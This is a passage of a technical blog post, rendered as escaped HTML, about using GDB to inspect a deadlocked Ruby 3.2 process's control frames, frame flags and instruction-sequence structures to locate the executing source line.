&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;          __val&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; {&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;repeats&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 16&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; time&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;s&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;        }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It&apos;s best to compare the &lt;a href=&quot;https://github.com/ruby/ruby/blob/v3_2_2/vm_core.h#L904&quot;&gt;struct definition&lt;/a&gt; against what GDB prints out to get a better idea of what these fields are exactly. But even still, the above doesn&apos;t tell us a whole lot about what our program is doing. In order to determine that we&apos;ll need to explore some of the pointers to other data structures.&lt;/p&gt;
&lt;p&gt;In particular, the control frame pointer, &lt;code&gt;cfp&lt;/code&gt;, gives us access to what Ruby is executing in this thread. A control frame in Ruby is the data structure that the VM uses to track both your program&apos;s stack and its own internal stack in &lt;a href=&quot;https://en.wikipedia.org/wiki/YARV&quot;&gt;YARV&lt;/a&gt;. YARV itself is an entirely different topic that&apos;s outside the scope of this post, but in short it&apos;s the internal bytecode interpreter for Ruby. It has its own internal stack for managing the execution of bytecode instructions. A control frame holds pointers to both of these stacks.&lt;/p&gt;
&lt;p&gt;Inside of an execution context the control frame pointer points to the current control frame which is represented as a call stack we&apos;re all familiar with as such:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/9bec6662383f78e22015a36e9816dc50/ruby_control_frames.png&quot; alt=&quot;ruby control frames diagram&quot;&gt;&lt;/p&gt;
&lt;p&gt;So, if we have a pointer to the current control frame we can get access to our program&apos;s stack which in turn tells us what is being executed. With that in mind, let&apos;s take a look at the CFP for our deadlocked process:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;gdb&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;call&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; *&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;ruby_current_ec-&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;cfp&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E36209&quot;&gt;$3&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; = {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  pc&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; 0x0,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  sp&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; 0x7f23162300a8,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  iseq&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; 0x0,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  self&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; 139788671962360,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  ep&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; 0x7f23162300a0,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  block_code&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; 0x0,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  __bp__&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; 0x7f23162300a8,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  jit_return&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 0x0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Hmm, it doesn&apos;t look quite right that the &lt;code&gt;pc&lt;/code&gt; and &lt;code&gt;iseq&lt;/code&gt; values are NULL pointers. &lt;code&gt;pc&lt;/code&gt; being program counter and &lt;code&gt;iseq&lt;/code&gt; instruction sequence. The &lt;a href=&quot;https://github.com/ruby/ruby/blob/v3_2_2/vm_core.h#L823&quot;&gt;struct definition&lt;/a&gt; is handy to reference for understanding these again. What&apos;s going on here?&lt;/p&gt;
&lt;p&gt;If we look into the &lt;code&gt;ep&lt;/code&gt; (environment pointer) value we can see that its flags denote this control frame as a &lt;code&gt;VM_FRAME_FLAG_CFRAME&lt;/code&gt; rather than a &quot;Ruby frame.&quot; This would track with how our program is calling &lt;code&gt;sleep&lt;/code&gt; meaning control passes from Ruby code into an internal C function that in turn makes a syscall. Ruby &lt;a href=&quot;https://github.com/ruby/ruby/blob/v3_2_2/vm_core.h#L1348&quot;&gt;has a function&lt;/a&gt; named &lt;code&gt;VM_FRAME_RUBYFRAME_P&lt;/code&gt; which checks the flags on the environment pointer value to determine what type of frame it is. Using the following in GDB we can verify that it is considered a &lt;code&gt;CFRAME&lt;/code&gt; by means of being a non-zero value from the bitwise AND operation which is the same operation that &lt;code&gt;VM_FRAME_RUBYFRAME_P&lt;/code&gt; ends up performing through &lt;a href=&quot;https://github.com/ruby/ruby/blob/v3_2_2/vm_core.h#L1339&quot;&gt;another function, &lt;code&gt;VM_FRAME_CFRAME_P&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;gdb&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;call&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; ruby_current_ec&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;cfp&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;ep[0]&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; &amp;#x26; &lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;VM_FRAME_FLAG_CFRAME&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E36209&quot;&gt;$4&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; = 128&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That&apos;s fine then, but how do we get a Ruby frame in that case? Because the stack is a contiguous block of memory, it&apos;s easy enough to move up one control frame to inspect the previous frame by simply adding one byte to the pointer value as such:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;gdb&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;call&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; ruby_current_ec&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;cfp&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; +&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E36209&quot;&gt;$5&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; = {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  pc&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; 0x5571d53fa308,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  sp&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; 0x7f2316230080,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  iseq&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; 0x7f2316dfc880,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  self&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; 139788671962360,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  ep&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; 0x7f2316230078,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  block_code&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; 0x0,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  __bp__&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; 0x7f2316230080,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  jit_return&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 0x0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We can also double check this frame&apos;s type is Ruby code by getting the frame type from its environment pointer&apos;s flags and comparing it to the frame type constants (values are printed in hex to more easily compare the constant values):&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# Frame type of the current control frame&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;gdb&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;p/x&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; ruby_current_ec&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;cfp&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;ep[0]&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; &amp;#x26; &lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;VM_FRAME_MAGIC_MASK&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E36209&quot;&gt;$6&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; = 0x55550001&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# Frame type of the previous control frame&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;gdb&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;p/x&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (ruby_current_ec-&gt;cfp &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)-&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;ep[0] &amp;#x26; &lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;VM_FRAME_MAGIC_MASK&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E36209&quot;&gt;$7&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; = 0x11110001&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# The current control frame matches the constant for a C function&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;gdb&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;call&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (ruby_current_ec-&gt;cfp-&gt;ep[0] &amp;#x26; &lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;VM_FRAME_MAGIC_MASK&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) == VM_FRAME_MAGIC_CFUNC&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E36209&quot;&gt;$8&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; = 1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# The previous control frame does /not/ match the constant for a C function&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;gdb&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;call&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; ((ruby_current_ec-&gt;cfp &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)-&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;ep[0] &amp;#x26; &lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;VM_FRAME_MAGIC_MASK&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) == VM_FRAME_MAGIC_CFUNC&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E36209&quot;&gt;$9&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; = 0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# The previous control frame /does/ match the constant for a normal Ruby method&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;gdb&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;call&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (ruby_current_ec-&gt;cfp-&gt;ep[0] &amp;#x26; &lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;VM_FRAME_MAGIC_MASK&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) == VM_FRAME_MAGIC_METHOD&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;$10 = 0&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The exact constant values and bit mapping for the flags are &lt;a href=&quot;https://github.com/ruby/ruby/blob/v3_2_2/vm_core.h#L1224&quot;&gt;available in the &lt;code&gt;vm_frame_env_flags&lt;/code&gt; enum&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;But anyway, that control frame looks better now. It has a valid program counter and instruction sequence pointer. Still though, how do we get that elusive line number to where our Ruby program stopped executing?&lt;/p&gt;
&lt;h2&gt;Tracking Down a Line Number&lt;/h2&gt;
&lt;p&gt;Inside the control frame, the instruction sequence value (&lt;code&gt;iseq&lt;/code&gt;) is of particular interest since that holds the source location of the currently executing code. We can use this to track down what piece of Ruby code that control frame was executing. Indeed, if we print out the value of the iseq then we see an interesting struct named &lt;code&gt;code_location&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;gdb&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;call&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; *&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;((&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;ruby_current_ec-&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;cfp&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; +&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;iseq-&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;body&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;$11 = {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;  type&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; ISEQ_TYPE_METHOD,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  iseq_size&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; 6,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  iseq_encoded&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; 0x55a4e9d86c80,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  [...snipped...]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  location&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;    pathobj&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; 140272768374920,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;    base_label&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; 140272768375800,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;    label&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; 140272768375800,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;    first_lineno&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; 3,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;    node_id&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; 6,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;    code_location&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;      beg_pos&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;        lineno&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; 3,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;        column&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;      end_pos&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;        lineno&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; 5,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;        column&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 3&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  [...snipped...]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So that&apos;s it then?! Well, no. The beginning position is listed as line 3 and the end position listed as line 5. That corresponds with the &lt;code&gt;foo&lt;/code&gt; method in our &lt;code&gt;sleep.rb&lt;/code&gt; program, but not the specific line the &lt;code&gt;sleep&lt;/code&gt; call is on. This struct instead represents the scope or block that Ruby is executing in. In order to get the line number of the current line of code we have to do a bit more work and call the &lt;a href=&quot;https://github.com/ruby/ruby/blob/v3_2_2/vm_backtrace.c#L101&quot;&gt;&lt;code&gt;rb_vm_get_sourceline&lt;/code&gt; function&lt;/a&gt;:&lt;/p&gt;
